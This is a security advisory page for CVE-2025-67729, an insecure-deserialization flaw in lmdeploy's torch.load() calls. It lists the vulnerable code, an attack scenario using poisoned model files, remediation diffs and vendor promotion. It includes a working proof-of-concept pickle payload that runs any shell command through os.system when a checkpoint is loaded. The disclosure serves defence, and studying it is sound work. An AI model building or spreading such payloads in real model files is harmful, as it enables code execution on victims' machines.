CVE-2025-67729

CVE-2025-67729 is a high-severity insecure deserialization vulnerability in lmdeploy (pip), affecting versions <= 0.11. It is fixed in 0.11.1.

Summary

An insecure deserialization vulnerability exists in lmdeploy where torch.load() is called without the weights_only=True parameter when loading model checkpoint files. This allows an attacker to execute arbitrary code on the victim's machine when they load a malicious .bin or .pt model file.

CWE: CWE-502 - Deserialization of Untrusted Data

Details

Several locations in lmdeploy use torch.load() without the recommended weights_only=True security parameter. PyTorch's torch.load() uses Python's pickle module internally, which can execute arbitrary code during deserialization.

Vulnerable Locations

1. lmdeploy/vl/model/utils.py (Line 22)

def load_weight_ckpt(ckpt: str) -> Dict[str, torch.Tensor]:
    """Load checkpoint."""
    if ckpt.endswith('.safetensors'):
        return load_file(ckpt)  # Safe - uses safetensors
    else:
        return torch.load(ckpt)  # ← VULNERABLE: no weights_only=True

2. lmdeploy/turbomind/deploy/loader.py (Line 122)

class PytorchLoader(BaseLoader):
    def items(self):
        params = defaultdict(dict)
        for shard in self.shards:
            misc = {}
            tmp = torch.load(shard, map_location='cpu')  # ← VULNERABLE

Additional vulnerable locations:

  • lmdeploy/lite/apis/kv_qparams.py:129-130
  • lmdeploy/lite/apis/smooth_quant.py:61
  • lmdeploy/lite/apis/auto_awq.py:101
  • lmdeploy/lite/apis/get_small_sharded_hf.py:41

Note: Secure Pattern Already Exists

The codebase already uses the secure pattern in one location:

# lmdeploy/pytorch/weight_loader/model_weight_loader.py:103
state = torch.load(file, weights_only=True, map_location='cpu')  # ✓ Secure

This shows the fix is already known and can be applied consistently across the codebase.

PoC

Step 1: Create a Malicious Checkpoint File

Save this as create_malicious_checkpoint.py:

#!/usr/bin/env python3
"""
Creates a malicious PyTorch checkpoint that executes code when loaded.
"""
import pickle
import os

class MaliciousPayload:
    """Executes arbitrary code during pickle deserialization."""
    
    def __init__(self, command):
        self.command = command
    
    def __reduce__(self):
        # This is called during unpickling - returns (callable, args)
        return (os.system, (self.command,))

def create_malicious_checkpoint(output_path, command):
    """Create a malicious checkpoint file."""
    malicious_state_dict = {
        'model.layer.weight': MaliciousPayload(command),
        'config': {'hidden_size': 768}
    }
    
    with open(output_path, 'wb') as f:
        pickle.dump(malicious_state_dict, f)
    
    print(f"[+] Created malicious checkpoint: {output_path}")

if __name__ == "__main__":
    os.makedirs("malicious_model", exist_ok=True)
    create_malicious_checkpoint(
        "malicious_model/pytorch_model.bin",
        "echo '[PoC] Arbitrary code executed! - RCE confirmed'"
    )

Step 2: Load the Malicious File (Simulates lmdeploy's Behavior)

Save this as exploit.py:

#!/usr/bin/env python3
"""
Demonstrates the vulnerability by loading the malicious checkpoint.
This simulates what happens when lmdeploy loads an untrusted model.
"""
import pickle

def unsafe_load(path):
    """Simulates torch.load() without weights_only=True."""
    # torch.load() uses pickle internally, so this is equivalent
    with open(path, 'rb') as f:
        return pickle.load(f)

if __name__ == "__main__":
    print("[*] Loading malicious checkpoint...")
    print("[*] This simulates: torch.load(ckpt) in lmdeploy")
    print("-" * 50)
    
    result = unsafe_load("malicious_model/pytorch_model.bin")
    
    print("-" * 50)
    print(f"[!] Checkpoint loaded. Keys: {list(result.keys())}")
    print("[!] If you see the PoC message above, RCE is confirmed!")

Step 3: Run the PoC

# Create the malicious checkpoint
python create_malicious_checkpoint.py

# Exploit - triggers code execution
python exploit.py

Expected Output

[+] Created malicious checkpoint: malicious_model/pytorch_model.bin
[*] Loading malicious checkpoint...
[*] This simulates: torch.load(ckpt) in lmdeploy
--------------------------------------------------
[PoC] Arbitrary code executed! - RCE confirmed     ← Code executed here!
--------------------------------------------------
[!] Checkpoint loaded. Keys: ['model.layer.weight', 'config']
[!] If you see the PoC message above, RCE is confirmed!

The [PoC] Arbitrary code executed! message proves that arbitrary shell commands run during deserialization.

Who Is Affected?

  • All users who load PyTorch model files (.bin, .pt) from untrusted sources
  • This includes models downloaded from HuggingFace, ModelScope, or shared by third parties

Attack Scenario

  1. Attacker creates a malicious model file (e.g., pytorch_model.bin) containing a pickle payload
  2. Attacker distributes it as a "fine-tuned model" on model sharing platforms or directly to victims
  3. Victim downloads and loads the model using lmdeploy
  4. Malicious code executes with the victim's privileges

Potential Consequences

  • Remote Code Execution (RCE) - Full system compromise
  • Data theft - Access to sensitive files, credentials, API keys
  • Lateral movement - Pivot to other systems in cloud environments
  • Cryptomining or ransomware - Malware deployment

Resources

Official PyTorch Security Documentation

  • PyTorch torch.load() Documentation

    "torch.load() uses pickle module implicitly, which is known to be insecure. It is possible to construct malicious pickle data which will execute arbitrary code during unpickling. Never load data that could have come from an untrusted source."

Related CVEs

CVE Description CVSS
CVE-2025-32434 PyTorch torch.load() RCE vulnerability 9.3 Critical
CVE-2024-5452 PyTorch Lightning insecure deserialization 8.8 High

Additional Resources

Thank you for your time reviewing this report. I'm happy to provide any additional information or help with testing the fix. Please let me know if you have any questions!

Impact

Untrusted serialized data is processed by a deserializer that can instantiate arbitrary objects or execute code as a side effect. Typical impact: arbitrary code execution or logic abuse.

CVE-2025-67729 has a CVSS score of 8.8 (High). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.11.1); upgrading removes the vulnerable code path.

Affected versions

lmdeploy (<= 0.11)

Security releases

lmdeploy → 0.11.1 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Add weights_only=True to all torch.load() calls:

# lmdeploy/vl/model/utils.py:22
- return torch.load(ckpt)
+ return torch.load(ckpt, weights_only=True)

# lmdeploy/turbomind/deploy/loader.py:122
- tmp = torch.load(shard, map_location='cpu')
+ tmp = torch.load(shard, map_location='cpu', weights_only=True)

# Apply the same pattern to:
# - lmdeploy/lite/apis/kv_qparams.py:129-130
# - lmdeploy/lite/apis/smooth_quant.py:61
# - lmdeploy/lite/apis/auto_awq.py:101
# - lmdeploy/lite/apis/get_small_sharded_hf.py:41

Alternatively, consider migrating fully to SafeTensors format, which is already supported in the codebase and immune to this vulnerability class.

Frequently Asked Questions

  1. What is CVE-2025-67729? CVE-2025-67729 is a high-severity insecure deserialization vulnerability in lmdeploy (pip), affecting versions <= 0.11. It is fixed in 0.11.1. Untrusted serialized data is processed by a deserializer that can instantiate arbitrary objects or execute code as a side effect.
  2. How severe is CVE-2025-67729? CVE-2025-67729 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of lmdeploy are affected by CVE-2025-67729? lmdeploy (pip) versions <= 0.11 is affected.
  4. Is there a fix for CVE-2025-67729? Yes. CVE-2025-67729 is fixed in 0.11.1. Upgrade to this version or later.
  5. Is CVE-2025-67729 exploitable, and should I be worried? Whether CVE-2025-67729 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2025-67729 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2025-67729? Upgrade lmdeploy to 0.11.1 or later.

Other vulnerabilities in lmdeploy

CVE-2026-46517CVE-2026-33626CVE-2025-67729CVE-2025-3163CVE-2025-3162

Stop the waste.
Protect your environment with Kodem.